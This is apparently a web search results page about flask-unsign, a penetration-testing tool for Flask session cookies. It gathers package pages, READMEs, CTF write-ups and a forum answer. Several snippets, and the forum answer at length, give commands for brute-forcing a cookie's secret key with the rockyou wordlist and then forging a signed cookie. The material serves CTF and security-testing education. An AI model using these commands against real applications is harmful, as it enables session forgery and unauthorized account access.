🌐
PyPI
pypi.org › project › flask-unsign
flask-unsign · PyPI
If you're not sure which to choose, learn more about installing packages. ... Filter files by name, interpreter, ABI, and platform. If you're not sure about the file name format, learn more about wheel file names. ... Details for the file flask_unsign-1.2.1.tar.gz.
      » pip install flask-unsign
    
Published   Dec 03, 2024
Version   1.2.1
🌐
piwheels
piwheels.org › project › flask-unsign
piwheels - flask-unsign
Flask Unsign is a penetration testing ... secre… · In a virtualenv (see these instructions if you need to create one): pip3 install flask-unsign ·...
🌐
GitHub
github.com › Paradoxis › Flask-Unsign-Wordlist
GitHub - Paradoxis/Flask-Unsign-Wordlist: The following package is the standalone wordlist-only component to flask-unsign. · GitHub
The following package is the standalone wordlist-only component to flask-unsign. The two parts are separated to prevent you from having to also download the rather bulky wordlists if you only want to use the code. ... To use the wordlists, either download them directly from GitHub or install them with pip and either run the command line tool:
Starred by 44 users
Forked by 13 users
Languages   Python
🌐
GitHub
github.com › Paradoxis › Flask-Unsign › blob › master › setup.py
Flask-Unsign/setup.py at master · Paradoxis/Flask-Unsign
# $ pip install twine · · import re · import io · import os · import sys · from shutil import rmtree · · from setuptools import find_packages, setup, Command · · NAME = 'flask-unsign' ·
Author   Paradoxis
🌐
Arch Linux
aur.archlinux.org › packages › flask-unsign
AUR (en) - flask-unsign - Arch Linux
November 11, 2024 - python-installer (make) python-wheel (make) https://files.pythonhosted.org/packages/source/f/flask-unsign/flask_unsign-1.2.1.tar.gz · aurweb v6.3.4 · Report issues here. Copyright © 2004-2026 aurweb Development Team. AUR packages are user produced content.
🌐
GitHub
github.com › Paradoxis › Flask-Unsign
GitHub - Paradoxis/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. · GitHub
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU ... You might be using the wrong pip binary, try using the following command: python3.6 -m pip install flask-unsign
Starred by 653 users
Forked by 47 users
Languages   Python
🌐
GitHub
github.com › Paradoxis › Flask-Unsign › blob › master › README.md
Flask-Unsign/README.md at master · Paradoxis/Flask-Unsign
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU ... You might be using the wrong pip binary, try using the following command: python3.6 -m pip install flask-unsign
Author   Paradoxis
🌐
GitHub
github.com › sleepyeinstein › Flask-Unsign
GitHub - sleepyeinstein/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. · GitHub
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU ... You might be using the wrong pip binary, try using the following command: python3.6 -m pip install flask-unsign
Author   sleepyeinstein
🌐
HackTricks
hacktricks.boitatech.com.br › pentesting › pentesting-web › flask
Flask | HackTricks - Boitatech
flask-unsignPyPI · Copy · pip3 install flask-unsign · Copy · flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' Copy · flask-unsign --unsign --cookie < cookie.txt · Copy · flask-unsign --sign ...
🌐
CTFtime.org
ctftime.org › writeup › 33609
CTFtime.org / PatriotCTF / Not So Secret / Writeup
We see a `SECRET_KEY` set to `ifXEaNLEiDLIuquyRKzfeJJWzntoIm`. If we have the app's secret key, we can sign the session cookies used by the app. We'll use a tool called `flask-unsign` to do this for us (install w/ `pip3 install flask-unsign`).
Find elsewhere
🌐
PyPI
pypi.org › project › flask-unsign-wordlist
flask-unsign-wordlist
JavaScript is disabled in your browser. Please enable JavaScript to proceed · A required part of this site couldn’t load. This may be due to a browser extension, network issues, or browser settings. Please check your connection, disable any ad blockers, or try using a different browser
🌐
HackMD
hackmd.io › @nataliepjlin › rJaBumm33
picoCTF: Most Cookie - HackMD
I search with "brute-force flask secret key" online and found this tool: https://pypi.org/project/flask-unsign/. 4. When `pip install flask-unsign[wordlist]`, I got a warning message: *"WARNING: The script flask-unsign is installed in ...
🌐
GitHub
github.com › 851579181 › Flask-Unsign
GitHub - 851579181/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. · GitHub
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU ... You might be using the wrong pip binary, try using the following command: python3.6 -m pip install flask-unsign
Author   851579181
🌐
LinkedIn
linkedin.com › pulse › pentesting-ethical-hacking-tool-series-flask-session-cookie-vanegas
Pentesting and Ethical Hacking Tool Series: Flask Session Cookie Decoder/Encoder/BruteForce
June 1, 2023 - In today's installment of our article series "Pentesting and Ethical Hacking Tool Series," I want to share with you two incredibly useful tools for dealing with Flask session cookies. Flask-Unsign and Flask Session Cookie Decoder/Encoder are two Python scripts that allow us to decode, encode, brute-force, and craft session cookies for a Flask application by guessing secret keys.
🌐
Pentest-book
pentest-book.com › enumeration › webservices › flask
Flask | Pentest Book
September 9, 2020 - # Install pip3 install flask-unsign # Decode session cookie flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' # Decode from server response flask-unsign --decode --server 'https://target.com/login' ...
Top answer
1 of 2
11

As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.

That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.

You can install it via pip by using the following command:

pip3 install flask-unsign

but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:

curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
  • -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
  • -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.

Now you can perform the brute force attack using the following command:

flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt   
  • The --no-literal-eval argument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.

and find the secret key after a few thousand attempts:

[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}                       
[*] Starting brute-forcer with 8 threads..                                                                                                     
[+] Found secret key after 175360 attempts                                                                                                     
b'Galaxy'

Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:

flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'
2 of 2
1

What you described is the expected behavior by design - the cookie can be decoded without the secret key, but it cannot be modified without it.

from documentation:

If you have set Flask.secret_key (or configured it from SECRET_KEY) you can use sessions in Flask applications. A session makes it possible to remember information from one request to another. The way Flask does this is by using a signed cookie. The user can look at the session contents, but can’t modify it unless they know the secret key, so make sure to set that to something complex and unguessable.

🌐
Linux Command Library
linuxcommandlibrary.com › man › flask-unsign
flask-unsign man | Linux Command Library
Flask-unsign is a security testing tool for analyzing and manipulating Flask session cookies.
🌐
GitHub
github.com › Paradoxis › Flask-Unsign › issues › 1
I can't install it. · Issue #1 · Paradoxis/Flask-Unsign
April 19, 2019 - pip install flask-unsign[wordlist] zsh: no matches found: flask-unsign[wordlist] pip install flask-unsign Collecting flask-unsign Could not find a version that satisfies the requirement flask-unsign (from versions: ) No matching distribution ...
Author   Paradoxis
🌐
Medium
blog.paradoxis.nl › defeating-flasks-session-management-65706ba9d3ce
Baking Flask cookies with your secrets | Paradoxis
July 31, 2021 - To install the tool, simply head over to your terminal and install it using pip: ... If you don’t want the fairly bulky wordlist file included and only want to use the code itself, you can simply omit the [wordlist] from the command.
🌐
HackTricks
hacktricks.wiki › home › network services pentesting › pentesting web › flask
Flask - HackTricks
1 week ago - flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval